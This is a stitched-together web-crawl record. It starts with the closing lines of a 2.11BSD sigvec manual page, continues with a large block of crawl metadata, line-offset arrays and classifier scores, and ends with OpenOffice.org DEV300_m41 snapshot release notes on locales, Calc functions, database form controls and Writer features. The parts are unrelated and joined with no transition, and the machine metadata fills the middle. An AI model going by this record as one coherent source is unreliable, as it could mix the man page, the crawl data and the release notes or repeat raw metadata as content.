standard entry code generated by the C compiler for handler
routines written in C automatically saves the remaining gen-
eral registers, but floating point registers are not saved.
As a result there is currently no [standard] method for a
handler routine written in C to perform floating point
operations without blowing the interrupted program out of
the water.
BUGS
This manual page is still confusing.
Printed 11/26/99 September 3, 1997 5
Generated: 2016-12-26
Generated by man2html V0.25
page hit count: 926
Valid CSS Valid XHTML 1.0 Strict
|
{
"url": "https://www.retro11.de/ouxr/211bsd/usr/man/cat2/sigvec.0.html",
"source_domain": "www.retro11.de",
"snapshot_id": "crawl=CC-MAIN-2021-43",
"warc_metadata": {
"Content-Length": "15749",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:URKM56AC2343XHRVLPLXU2YUITP6ZNLK",
"WARC-Concurrent-To": "<urn:uuid:78449473-2ee2-46a2-9178-7e3050f61747>",
"WARC-Date": "2021-10-21T09:32:15Z",
"WARC-IP-Address": "178.254.0.121",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:P7HJHCWS6HHV6C3G2MAYOULUBD23MWCJ",
"WARC-Record-ID": "<urn:uuid:8ed9b4e6-f5a0-4758-b39e-1730b0abda91>",
"WARC-Target-URI": "https://www.retro11.de/ouxr/211bsd/usr/man/cat2/sigvec.0.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:64e71d9d-11d5-4c11-b76c-4a0205985439>"
},
"warc_info": "isPartOf: CC-MAIN-2021-43\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for October 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-184\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
1,
2,
52,
53,
54,
59,
100,
101,
110,
135,
136,
157,
182,
199,
217,
225,
226,
254,
268,
300,
301,
313,
370,
371,
437,
499,
559,
624,
687,
747,
807,
870,
933,
999,
1064,
1065,
1131,
1194,
1258,
1324,
1386,
1450,
1510,
1541,
1542,
1607,
1671,
1734,
1797,
1862,
1926,
1992,
2055,
2117,
2179,
2243,
2261,
2262,
2263,
2302,
2303,
2304,
2354,
2355,
2356,
2422,
2485,
2550,
2616,
2680,
2722,
2723,
2787,
2853,
2913,
2977,
3042,
3104,
3161,
3162,
3227,
3257,
3258,
3285,
3315,
3340,
3380,
3411,
3447,
3483,
3528,
3593,
3623,
3666,
3714,
3773,
3805,
3853,
3908,
3975,
4033,
4093,
4138,
4208,
4277,
4344,
4407,
4471,
4529,
4590,
4629,
4671,
4713,
4714,
4779,
4807,
4808,
4809,
4848,
4849,
4850,
4900,
4901,
4902,
4964,
5028,
5092,
5156,
5222,
5288,
5352,
5414,
5480,
5507,
5508,
5572,
5637,
5703,
5768,
5831,
5874,
5875,
5940,
6006,
6018,
6019,
6082,
6147,
6210,
6270,
6271,
6277,
6341,
6405,
6406,
6470,
6531,
6532,
6545,
6608,
6673,
6696,
6697,
6704,
6770,
6807,
6808,
6870,
6916,
6929,
6930,
6982,
6983,
7042,
7080,
7081,
7082,
7121,
7122,
7123,
7173,
7174,
7175,
7234,
7269,
7270,
7279,
7341,
7404,
7425,
7426,
7442,
7484,
7485,
7511,
7528,
7554,
7555,
7615,
7676,
7740,
7806,
7871,
7933,
7999,
8056,
8057,
8122,
8180,
8197,
8198,
8236,
8237,
8260,
8307,
8361,
8414,
8475,
8536,
8588,
8649,
8711,
8771,
8826,
8866,
8904,
8959,
9001,
9054,
9108,
9141,
9176,
9251,
9276,
9301,
9302,
9303,
9342,
9343,
9344,
9394,
9395,
9396,
9421,
9422,
9438,
9480,
9481,
9507,
9524,
9550,
9551,
9611,
9673,
9733,
9799,
9856,
9857,
9922,
9980,
9997,
9998,
10036,
10037,
10060,
10113,
10174,
10235,
10287,
10331,
10374,
10418,
10464,
10504,
10555,
10610,
10652,
10685,
10720,
10721,
10782,
10845,
10906,
10972,
11037,
11103,
11168,
11231,
11291,
11354,
11370,
11371,
11376,
11418,
11419,
11420,
11459,
11460,
11461,
11463,
11485,
11513,
11533
],
"line_end_idx": [
1,
2,
52,
53,
54,
59,
100,
101,
110,
135,
136,
157,
182,
199,
217,
225,
226,
254,
268,
300,
301,
313,
370,
371,
437,
499,
559,
624,
687,
747,
807,
870,
933,
999,
1064,
1065,
1131,
1194,
1258,
1324,
1386,
1450,
1510,
1541,
1542,
1607,
1671,
1734,
1797,
1862,
1926,
1992,
2055,
2117,
2179,
2243,
2261,
2262,
2263,
2302,
2303,
2304,
2354,
2355,
2356,
2422,
2485,
2550,
2616,
2680,
2722,
2723,
2787,
2853,
2913,
2977,
3042,
3104,
3161,
3162,
3227,
3257,
3258,
3285,
3315,
3340,
3380,
3411,
3447,
3483,
3528,
3593,
3623,
3666,
3714,
3773,
3805,
3853,
3908,
3975,
4033,
4093,
4138,
4208,
4277,
4344,
4407,
4471,
4529,
4590,
4629,
4671,
4713,
4714,
4779,
4807,
4808,
4809,
4848,
4849,
4850,
4900,
4901,
4902,
4964,
5028,
5092,
5156,
5222,
5288,
5352,
5414,
5480,
5507,
5508,
5572,
5637,
5703,
5768,
5831,
5874,
5875,
5940,
6006,
6018,
6019,
6082,
6147,
6210,
6270,
6271,
6277,
6341,
6405,
6406,
6470,
6531,
6532,
6545,
6608,
6673,
6696,
6697,
6704,
6770,
6807,
6808,
6870,
6916,
6929,
6930,
6982,
6983,
7042,
7080,
7081,
7082,
7121,
7122,
7123,
7173,
7174,
7175,
7234,
7269,
7270,
7279,
7341,
7404,
7425,
7426,
7442,
7484,
7485,
7511,
7528,
7554,
7555,
7615,
7676,
7740,
7806,
7871,
7933,
7999,
8056,
8057,
8122,
8180,
8197,
8198,
8236,
8237,
8260,
8307,
8361,
8414,
8475,
8536,
8588,
8649,
8711,
8771,
8826,
8866,
8904,
8959,
9001,
9054,
9108,
9141,
9176,
9251,
9276,
9301,
9302,
9303,
9342,
9343,
9344,
9394,
9395,
9396,
9421,
9422,
9438,
9480,
9481,
9507,
9524,
9550,
9551,
9611,
9673,
9733,
9799,
9856,
9857,
9922,
9980,
9997,
9998,
10036,
10037,
10060,
10113,
10174,
10235,
10287,
10331,
10374,
10418,
10464,
10504,
10555,
10610,
10652,
10685,
10720,
10721,
10782,
10845,
10906,
10972,
11037,
11103,
11168,
11231,
11291,
11354,
11370,
11371,
11376,
11418,
11419,
11420,
11459,
11460,
11461,
11463,
11485,
11513,
11533,
11565
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 11565,
"ccnet_original_nlines": 303,
"rps_doc_curly_bracket": 0.00017293999553658068,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2970297038555145,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.07524751871824265,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.22920791804790497,
"rps_doc_frac_unique_words": 0.3203026354312897,
"rps_doc_mean_word_length": 5.058007717132568,
"rps_doc_num_sentences": 68,
"rps_doc_symbol_to_word_ratio": 0.0004950499860569835,
"rps_doc_unigram_entropy": 5.474639892578125,
"rps_doc_word_count": 1586,
"rps_doc_frac_chars_dupe_10grams": 0.14410370588302612,
"rps_doc_frac_chars_dupe_5grams": 0.2626526951789856,
"rps_doc_frac_chars_dupe_6grams": 0.21054600179195404,
"rps_doc_frac_chars_dupe_7grams": 0.17751184105873108,
"rps_doc_frac_chars_dupe_8grams": 0.17028172314167023,
"rps_doc_frac_chars_dupe_9grams": 0.14410370588302612,
"rps_doc_frac_chars_top_2gram": 0.02131637930870056,
"rps_doc_frac_chars_top_3gram": 0.013712289743125439,
"rps_doc_frac_chars_top_4gram": 0.01745201088488102,
"rps_doc_books_importance": -917.8140258789062,
"rps_doc_books_importance_length_correction": -917.8140258789062,
"rps_doc_openwebtext_importance": -557.25537109375,
"rps_doc_openwebtext_importance_length_correction": -557.25537109375,
"rps_doc_wikipedia_importance": -353.2627258300781,
"rps_doc_wikipedia_importance_length_correction": -353.2627258300781
},
"fasttext": {
"dclm": 0.3409966826438904,
"english": 0.825840413570404,
"fineweb_edu_approx": 2.399076461791992,
"eai_general_math": 0.6347082853317261,
"eai_open_web_math": 0.3337240219116211,
"eai_web_code": 0.5854061245918274
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.62",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.456",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
8,690,994,757,533,527,000 |
English:
The Free and Open Productivity Suite
Apache OpenOffice 4.1.2 released
3.2 m41 Snapshot - Release Notes
These notes contain changes between DEV300_m29 and DEV300_m41. Please have a look for older Release Notes if you need to know former changes (example: http://development.openoffice.org/releases/3.0.m28_snapshot.html).
This release will install as OOo-Dev 3.0 as long as it is not changed to OOo-Dev 3.2. Milestones before m39 have to be uninstalled (under Windows).
Sources can be received from SVN by tag DEV300_m41.
Important note:
DEV300_m40 was the last build towards OOo 3.1 from this codeline. The next 3.1 build will be from the OOO310 codeline.
DEV300_m41 is the first build that goes on with the unstable trunk. It does not belong to OOo 3.1.
See also the blog article on GullFOSS.
What's new ?
Feature title TaskId Spec. title Spec. abstract Dev. owner Spec. link Component
Extended UNO AWT menu API i96390 Current state [email protected] speclink framework
Feature title TaskId Spec. title Spec. abstract Dev. owner Spec. link Component
Locale data for Maltese (Malta) [mt-MT] i75365 feature-info:
Added locale data for Maltese (Malta) [mt-MT]. The locale is selectable for character attribution and spell-checking, as default locale, default document language and available for number formats and outline numbering.
[email protected] L10N
Locale data for Myanmar (Myanmar) [my-MM] i83349 feature-info:
Added locale data for Myanmar (Myanmar) [my-MM]. The locale is selectable for character attribution and spell-checking, as default locale, default document language and available for number formats and outline numbering.
[email protected] L10N
Locale data for Shuswap (Canada) [shs-CA]. i86084 feature-info:
Added locale data for Shuswap (Canada) [shs-CA]. The locale is selectable for character attribution and spell-checking, as default locale, default document language and available for number formats and outline numbering.
[email protected] L10N
Arabic entries in language list box i90867 feature-info:
Added new Arabic locales to the language list box, selectable for character attribution and spell-checking. Arabic (Chad) [ar-TD] Arabic (Comoros) [ar-KM] Arabic (Djibouti) [ar-DJ] Arabic (Eritrea) [ar-ER] Arabic (Israel) [ar-IL] Arabic (Mauritania) [ar-MR] Arabic (Palestine) [ar-PS] Arabic (Somalia) [ar-SO] Arabic (Sudan) [ar-SD]
[email protected] L10N
Arabic entry in language list i93694 feature-info:
The language table and list box now have an "Arabic" entry (without region/country) that does not correspond to a locale. It is not offered for language attribution et al, but is selectable if an Arabic language pack is installed, instead of the previous "Arabic (Egypt)".
[email protected] L10N
Languages classified as RTL i95794 feature-info:
The following languages are now classified as Right-To-Left, as they are primarily written in Perso-Arabic script: Kashmiri Sindhi
[email protected] L10N
Locale data for Tok Pisin (Papua New Guinea) [tpi-PG] i95852 feature-info:
Added locale data for Tok Pisin (Papua New Guinea) [tpi-PG]. The locale is selectable for character attribution and spell-checking, as default locale, default document language and available for number formats and outline numbering.
[email protected] L10N
Classified some languages as CTL i96840 feature-info:
The following languages are now classified as CTL languages: Bodo Dogri Maithili Dhivehi
[email protected] L10N
Positioning of axes and axis labels i85625 Axis Positioning This specification describes the positioning of axes including the positioning of axes labels and interval marks inside the chart. [email protected] speclink chart
new: "Text direction" property for form controls i30631 R2L-enabled Control Forms In regions where people uses right-to-left directed text like Arabia or Israel (Hebrew) forms will look strange if they need to use left-to-right layout control forms.This specification will enhance OpenOffice.org 2.0 with control forms that can have both text directions/layout - left-to-right and right-to-left. [email protected] speclink dba
Function Autopilot from inside the SRB i94535 feature-info:
The Function Autopilot which is used in the spreadsheet can now be used inside the Sun Report Builder. The Autopilot can be started from: - the data field ( formatted field and image control) - the conditional print expression http://wiki.services.openoffice.org/wiki/SUN_Report_Builder/Documentation#Report_Navigator_-.3E_Report_-.3E_Functions_-.3E_Function_-.3E_Properties_of_General_Tab - the formula - the initial value The Autopilot shows all functions which are supported by the report engine. The documentation for the SRB can be found here http://wiki.services.openoffice.org/wiki/SUN_Report_Builder/Documentation The function description can be found here http://wiki.services.openoffice.org/wiki/Base/Reports/Functions
[email protected] dba
Automatic binding of first table when opening a new Report i96428 feature-info:
When creating a new report in a database, the report will be bound to the first table from the database. Additional the Add Field dialog will open with all available fields.
[email protected] dba
Report output format now also available in the property browser i96434 feature-info:
The property browser now shows the selected output format for a report on teh data page when it is selected in the SRB. Currently available formats are - Text document - Spreadsheet document
[email protected] dba
Add Field dialog supports sorting and insert toolbar i96520 feature-info:
The Add Field dialog now has a toolbar above the listbox for the fields. The toolbar allows to sort the fields ascending and descending as well to remove the sort order and restore origin order from the source (table,query). Additional the toolbar contains an "Insert" entry which allows to insert the selected fields into a report section. Multiselection of fields is also supported.
[email protected] dba
Allow anti-aliasing of drawing objects i28526
[email protected] speclink drawing
Unify DrawObject modification with full attributes i95646 Solid Dragging: Adapt Tools/Options/View dialog settings concerning 3D, AntiAliasing and DrawObject Interactions This Specification describes three single tasks which are so closely related, that i will describe them in a single specification. The following definitions of the three tasks will be used throughout the document: [email protected] speclink drawing
Support images in extension help i83627 Extensible Help Target of the extensible help project is to support help content inside OpenOffice.org extensions. The extensions' help content is provided together with the OpenOffice.org installed help content. The help index can be extended by extensions. The implementation supports extended tool tips and accessing extension help content by pressing F1 in UNO dialogs and menus. Andreas Bregas (ab) speclink framework
File locking implementation changes. i95809 File Locking File locking is needed to control access to a document. If a file/document is locked, nobody else could change/delete the document. A file locking mechanism is offered by the operating system, but in some cases this mechanism does not/could not work. Therefore OOo implements an own mechanism beside the one provided by the operating system. System and OOo file locking are combined. This allows OOo to have a reliable locking also when the locking from the operating systems fails in some cases. Furthermore it allows to OOo see who has already opened the document. Frank Loehmann (FL) speclink framework
Allow usage of default master password. i97092 Electronic Signatures and EncryptionGraphical User Interface (GUI)
[email protected] speclink framework
Remove unused 3D options i95644 Solid Dragging: Adapt Tools/Options/View dialog settings concerning 3D, AntiAliasing and DrawObject Interactions This Specification describes three single tasks which are so closely related, that i will describe them in a single specification. The following definitions of the three tasks will be used throughout the document: [email protected] speclink gsl
Make slideshow media controllable via effects i91250
[email protected] speclink presentation
Sorting improvements i20491 feature-info:
Sorting has been improved: - Sorting preserves the original order of entries with equal sort keys. - If there are no previous sort settings, the sort dialog defaults to the column of the cursor position. The toolbar buttons always use the cursor position. - The toolbar buttons use the same logic as the sort dialog to determine if a range has column headers.
[email protected] sc
Sorting improvements i22758 feature-info:
Sorting has been improved: - Sorting preserves the original order of entries with equal sort keys. - If there are no previous sort settings, the sort dialog defaults to the column of the cursor position. The toolbar buttons always use the cursor position. - The toolbar buttons use the same logic as the sort dialog to determine if a range has column headers.
[email protected] sc
INDIRECT now supports the '!' sheet separator i30172 feature-info:
For MS-Excel interoperability the INDIRECT function now supports the '!' exclamation mark as sheet name separator when interpreting cell address strings, additionally to the '.' dot separator Calc uses. This change aligns with the behavior of other spreadsheet applications and the definition given in the OASIS ODFF/OpenFormula specification available at http://www.oasis-open.org/committees/documents.php?wg_abbrev=office-formula
[email protected] sc
Rename sheet with double-click i4517 feature-info:
Double click on a sheet tab now shows the rename dialog.
[email protected] sc
Repeat vectors if used in 2D array i46681 feature-info:
A column or row vector is now replicated if used in an array formula such that a 2D matrix is required by an operation but only a vector was given. For example, the formula ={1;2;3} entered as a matrix formula in a range selection of 3 columns by 2 rows results in two rows with values 1 2 3 each. This works also in not so trivial cases, http://qa.openoffice.org/issues/show_bug.cgi?id=46681 mentions a few use cases. This change aligns with the behavior of other spreadsheet applications and the definition given in the OASIS ODFF/OpenFormula specification available at http://www.oasis-open.org/committees/documents.php?wg_abbrev=office-formula
[email protected] sc
Sorting improvements i7277 feature-info:
Sorting has been improved: - Sorting preserves the original order of entries with equal sort keys. - If there are no previous sort settings, the sort dialog defaults to the column of the cursor position. The toolbar buttons always use the cursor position. - The toolbar buttons use the same logic as the sort dialog to determine if a range has column headers.
[email protected] sc
Formula syntax in tip help i86856
[email protected] speclink sc
Zoom slider in Calc status bar i88437 feature-info:
The Calc status bar now has a slider for the zoom factor, like Writer (since 3.0) and Draw/Impress (m35).
[email protected] sc
Scaling factor in toolbar for page preview i88521 Print Output Scaling Factor According to the request of the to-do list in O community, the feature is to add resizeable margin on page preview in Frank Loehmann (FL) speclink sc
Scroll wheel switches pages in page preview i89145 feature-info:
If an entire page is visible in the page preview, the mouse scroll wheel can now be used to switch to the previous/next page.
[email protected] sc
BETADIST with optional parameter for cumulative/density i91547 feature-info:
The BETADIST spreadsheet function now has an additional optional 'cumulative' parameter to specify whether to calculate the probability density function or the cumulative distribution function, defaulted to TRUE for compatibility. This change aligns with the behavior of other spreadsheet applications and the definition given in the OASIS ODFF/OpenFormula specification available at http://www.oasis-open.org/committees/documents.php?wg_abbrev=office-formula A new implementation of BETADIST now yields results with a much better precision than in earlier releases.
[email protected] sc
Storage of data pulled in by external references changed i92797 feature-info:
The implementation of how data pulled in by references to external documents in formulas is stored internally was changed. Previously, all data of a referred external sheet was stored in a hidden sheet. Now only the data referred is stored in a separate structure, hidden sheets are not created anymore. This has the advantages that - By not creating hidden sheets the amount of available 255 sheets is not decremented. - It should be possible to refer more than 254 external sheets, given enough memory for the amount of data of course. - Less data needs to be stored when saving the document to file. - No unintended data leakage may occur because data not referred is not saved to files. Note that the external sheets will not show up anymore in the Navigator. For ODF file storage the data is still saved as external sheets, previous versions will be able to read the document. Re-saving an already existing document with the new version may result in a significantly decreased size of the file's storage, depending on the previous amount of data in the entire sheet and the amount of data actually used in formulas.
[email protected] sc
Added EUROCONVERT function i93789 feature-info:
The EUROCONVERT spreadsheet function to convert between former currencies of the Eurozone is implemented, including import from and export (binary) to Excel file formats. This change aligns with the behavior of other spreadsheet applications and the definition given in the OASIS ODFF/OpenFormula specification available at http://www.oasis-open.org/committees/documents.php?wg_abbrev=office-formula
[email protected] sc
New GAMMA, CHISQDIST, CHISQINV, changed GAMMADIST. i94555 feature-info:
Several changes according to ODFF. (1) Introduce the GAMMA function. (2) Introduce CHISQDIST. In contrast to CHIDIST it gives the left tail probability, same as other distributions do. In addition it has an optional parameter to calculate the density function. (3) Introduce CHISQINV. (4) Adapt the "cumulative" parameter of the GAMMADIST function to be optional. If omitted, the default value 1 is stored in ODF documents and export to Excel for compatibility. (5) Adapt the domain of CHIDIST to allow negative x, see ODFF 6.17.10. (6) Remove the constraint "degrees of freedom < 1.0E5" from CHIDIST and CHIINV because they are no longer needed with the new implementation. Unfortunately the identifier GAMMAINV is already used for the inverse of the Gamma-distribution. It can likely be confused to be the inverse of the Gamma function. A comment in the application help is necessary. These changes align with the definition given in the OASIS ODFF/OpenFormula specification available at http://www.oasis-open.org/committees/documents.php?wg_abbrev=office-formula Note: for GAMMADIST and GAMMAINV, the third parameter 'beta' is used in the way that mean=alpha•beta, but ODFF draft spec uses the third parameter 'lambda' in the way that mean=alpha/lambda. This needs to be changed in ODFF spec. The application help must explain, which use of the parameter OOo has, because the common usage of the parameter differs between countries. Note: The domain of the GAMMA function contains negative values. The ODFF draft spec is not adapted yet.
[email protected] sc
DATEVALUE and TIMEVALUE now return date or time only i94765 feature-info:
The DATEVALUE and TIMEVALUE spreadsheet functions now return the numeric value for date repectively time only. In the case of DATEVALUE only the integer part of the date serial is returned, in the case of TIMEVALUE only the fractional part is returned. Previously, both functions returned the combined integer and fractional value. This change aligns with the behavior of other spreadsheet applications and the definition given in the OASIS ODFF/OpenFormula specification available at http://www.oasis-open.org/committees/documents.php?wg_abbrev=office-formula
[email protected] sc
Base parameter of LOG now optional i96835 feature-info:
The 'base' parameter of the LOG spreadsheet function is now optional, defaulted to base 10. The implementation already handled this, but it was not reflected in the UI of the formula wizard. This change aligns with the behavior of other spreadsheet applications and the definition given in the OASIS ODFF/OpenFormula specification available at http://www.oasis-open.org/committees/documents.php?wg_abbrev=office-formula
[email protected] sc
Cumulative parameter of POISSON now optional i96837 feature-info:
The 'cumulative' parameter of the POISSON spreadsheet function is now optional. If omitted, storing the function in ODF files adds the default value for backwards compatibility. Also during export to Excel the parameter is added, as Excel expects all 4 parameters to be present. This change aligns with the definition given in the OASIS ODFF/OpenFormula specification available at http://www.oasis-open.org/committees/documents.php?wg_abbrev=office-formula
[email protected] sc
New "Context" mode for numerals setting i22396
Digits used in Arabic text (“Hindi digits”) are different from digits in Western text (“Arabic digits”). Since some of the IMEs (Input Method Editor) do not deliver the correct Hindi digits but the common Arabic digits, a configuration setting has been implemented for OpenOffice.org 1.2 that allows the user to switch the digits that are shown in the document. This setting used to have three different states: “all digits Hindi”, “all digits Arabic”, and “all digits depending on the system locale”. This feature was lacking a mode that chooses the correct digits based on the context of the digits: Hindi digits in an Arabic context, Arabic digits in any other context. Frank Meies (FME) speclink word processing
Introduction of an overline font effect i5991 Introduction of an overline font effect Introduce a new font effect that draws a line above a selected character or group of characters. The line style and colour may be selected by the user, with the same options available as for the underline font effect. [email protected] speclink word processing
Accept/Reject Change in context menu i6191 Accept and Reject Changes Editing changes (aka redlines) is possible using the dialog “Accept or Reject Changes”. As this is cumbersome it makes sense to add entries to accept or reject to the context menu. Oliver Specht, os speclink word processing
changes to format menu i64127
[email protected] speclink word processing
Introduction of an outline level attribute for paragraphs and paragraph styles i70748 Introduction of an outline level attribute for paragraphs and paragraph styles Introduce a new paragraph and paragraph style attribute, named “outline level”, to transform a normal paragraph directly and independently from any certain list style or paragraph style into a heading. [email protected] speclink word processing
More hyperlink related entries in the context menu i7311 Edit and Delete Hyperlink Hyperlinks in Writer documents can be modified with the hyperlink dialog and in the Format/character dialog. It should also be possible to easily remove a hyperlink and to copy the URL of the hyperlink to the clipboard. Oliver Specht, os speclink word processing
search inside notes i80135
[email protected] speclink word processing
Serbian Cyrillic Numbering Provider i86142 feature-info:
Added support for Serbian Cyrillic Numbering Provider in outline numbering.
[email protected]
word processing
Inconsistent terms: Autoformat - Autocorrect i87347
[email protected] speclink word processing
New look for selection: transparency i88893
[email protected] speclink word processing
"Navigator" added to the view menu i89315 [email protected] speclink word processing
Grammar checking i90144 Spelling and Grammar Checking Grammar checking is now available in OpenOffice.org Writer. Therefore the former dialog gets extended to handle grammar checking too. The dialog is now also able to show a vendor logo as a bitmap and name in the dialog title. Frank Loehmann (FL) speclink word processing
reply to existing notes i93690 [email protected] speclink word processing
changes to Tools-AutoCorrect i94551 [email protected] speclink word processing
Footnotes... renamed to Footnotes/Endnotes... i94633 [email protected] speclink word processing
Feature title TaskId Spec. title Spec. abstract Dev. owner Spec. link Component
bi-directional writing for chart elements i14365 Bi-directional Writing in Charts For an Arabic version of OpenOffice.org it is necessary to allow control over the text direction for chart elements that do contain text. [email protected] speclink chart
image controls: support for document-embedded images i38215 feature-info:
Image controls can now be bound to images which are embedded in the document where the control lives in. More precise, when you select an image to be displayed at an image control, the "Link" option in the file picker is not disabled anymore. When you uncheck the option (the default is "checked", to mimic the legacy behavior), then the image is displayed in the control, and upon saving the document, it's embedded in the document itself. This way, you can create documents with image controls which are exchangeable with other people/installations/platforms, which formerly was much more difficult due to the need to also copy the images, and place them in exactly the same location as on the originating machine (which often is simply impossible). Thanks for Noel Power for providing the patch for this.
[email protected] dba
Relative path for file based databases i41897 feature-info:
At the moment, when you create a file-based database (such as dBase or Spreadsheet), the URL to the files (let's call it the "data URL") is stored in an absolute manner - that is, something like "file:///c:/foo/bar". As a result, when you move the database document (the .odb file), together with the underlying data, to another machine, you need to either duplicate the file structure on this target machine, or to adjust the settings for the database. Now it is possible that the path is stored relatively when the option "Save URLs relative to file system" setting in the "Tools->Options->Load/Save" dialog is checked.
[email protected] dba
SQL syntax highlighting i67961 [email protected] speclink dba
New short cuts for Sun Report Builder i80200 feature-info:
The Edit menu now contains a "Select All" entry which contains Select All -> Select All Select all Labels Select all Formatted Fields Select Report
[email protected] dba
views opened for editing are automatically put into "Run SQL Directly" mode i87192 feature-info:
When you open an table view for editing its constituting SQL command (which is a feature currently supported for embedded HSQLDB only), then the query editor is automatically put into the "Run SQL command directly" mode.
[email protected] dba
"Empty string is NULL" behavior refined i90403 feature-info:
In the course of fixing issue 90403 and issue 92471, the behavior of form controls whose "Empty string is NULL" property is set to "Yes" has been refined. This change might make existing forms behave slightly different than before, but certainly more expectation-conformant now. First, the property is now also respected when you never touched the respective control before saving the record. That is, imagine a control which has this property set to "Yes", this way declaring that if the control contains an empty string, then this should be propagated to the database as (the dedicated) NULL value. Formerly, when you moved to the insertion row of the form, so the control was initially empty, entered some data into other controls of the current record, and saved the record without actually touching the first control, then it actually updated an empty string. Now, with the change, it updates NULL, as this is what "Empty String is NULL" = "Yes" requests. Second, when a control was bound to a database column which was declared as NOT NULL, then the control *always* updated an empty string instead of NULL, no matter what its "Empty string is NULL" property requested. Effectively, this killed server-side defaults of database fields, as such defaults are only applied when the field is NULL. Now, with the change, controls always update NULL in such a setup, this way enabling server-side defaults.
[email protected] dba
image controls: can be bound to text database columns, interpreting their content as relative link to the image i91310 feature-info:
Image controls in database forms can now be bound to text columns. Formerly, you could only bind them to columns whose content could reasonably be interpreted as binary (BLOB etc.). Now, when you select a text database column as source for the image control, then it will interpret the content of the respective column's content as URL, and load and display the image pointed to by this URL. Also, the URL might be relative to the document which the image control is embedded into.
[email protected] dba
form controls: new property "Input Required" i92322 feature-info:
All form controls which can be bound to a database column (i.e. have the "Data field" property) now have a new property called "Input required". Description ========= This property controls whether or not the input of this field is checked against being empty (NULL). It is evaluated for controls which are bound to a database field which is defined as required (i.e. which is not allowed to contain the special NULL value), immediately before the current record of the form is to be written into the database. If the property is set to "Yes", and the field contains no input when the current record is to be written to the database, then an error message will be shown to the user, and the respective control will be focused afterwards. Note that this is the known behaviour so far - the property defaults to "Yes" so that newly created controls behave as they would do in previous OOo versions. If the property is set to "No", and the field contains no input when the current record is to be written to the database, then this is ignored. It's up to the underlying database to either reject the update, or fill the respective column with a server-side default value. Functional Constraints ================= If the "Form data input checks for required fields" option in the advanced settings of the database document (Edit / Database / Advanced Settings ...) is *not* checked, then the "Input required" property for all controls in all forms in this database document does not have any effect, since the document-wide setting overrules the per-control settings. UI == In the property browser, the "Input required" is located immediately below the "Empty string is NULL" property, if it is present, otherwise immediately below the "Data field" property. If the "Data field" is not set (i.e. empty), then "Input required" is disabled, since it would be evaluated for bound controls only, anyway. If the "Empty string is NULL" is set to "No", then "Input required" is also disabled, since "Empty string is NULL" being "no" implies that when the user does not enter any value in the control, then an empty string, instead of the dedicated value NULL, is written, so there's always a non-NULL value no matter the user's action.
[email protected] dba
image controls: scaling the image by keeping the ratio i93264 feature-info:
Image form controls in documents got an additional mode for scaling the image they display. Previously, you could control the scaling by setting the "Scale" property to "Yes" or "No" only, where "Yes" implied an anisotropic scaling, i.e. one which distorted the image's dimensions. Now, the "Scale" property allows the values "No" (same as before), "Keep Ratio" and "Fit to Size" (equivalent to the old "Yes"). When "Keep Ratio" is selected, the image is still scaled up or down to match the control dimensions, but it's ratio is aspect kept constant. This is especially useful for controls where the designer of the document does not know, at time of designing the document/control, the dimensions of the to-be-displayed images. In particular, this is useful for image controls in database forms, displaying images obtained from the database.
[email protected] dba
check box grid columns have the "Tristate" property i93457 feature-info:
Check box columns in grid controls now have the "Tristate" property, which controls whether or not the "indetermined" state is allowed for the check box, as known from ordinary check box form controls.
[email protected] dba
Feature title TaskId Spec. title Spec. abstract Dev. owner Spec. link Component
Let OOo use own file locking mechanics to lock alien formats as well. i95528 As practice has shown, it is a quite common case that OOo is used to edit documents of alien formats on network. Unfortunately it looks to be impossible to let the file be locked using file system locking, since it does not work in heterogeneous file systems as expected, and the mentioned scenario has been recognized as very important one. Thus the locking mechanics of OOo is not recognizable for third-party applications, except they implement support for OOo locking mechanics. The implementation in childworkspace fwk94 let the alien files be locked using the OOo file locking mechanics as well. That solves at least the cases when a file of alien format is edited only by OOo3.x in network. [email protected]
framew
Integrated Child Workspaces
List of integrated child workspaces:
cmcfixes52
Remove some trivial warnings
DEV300m41
cwscheckapi7
update knownissue lists for automated UnoAPI-Tests
DEV300m41
cygwin02
DEV300m41
dev300m41masterfix
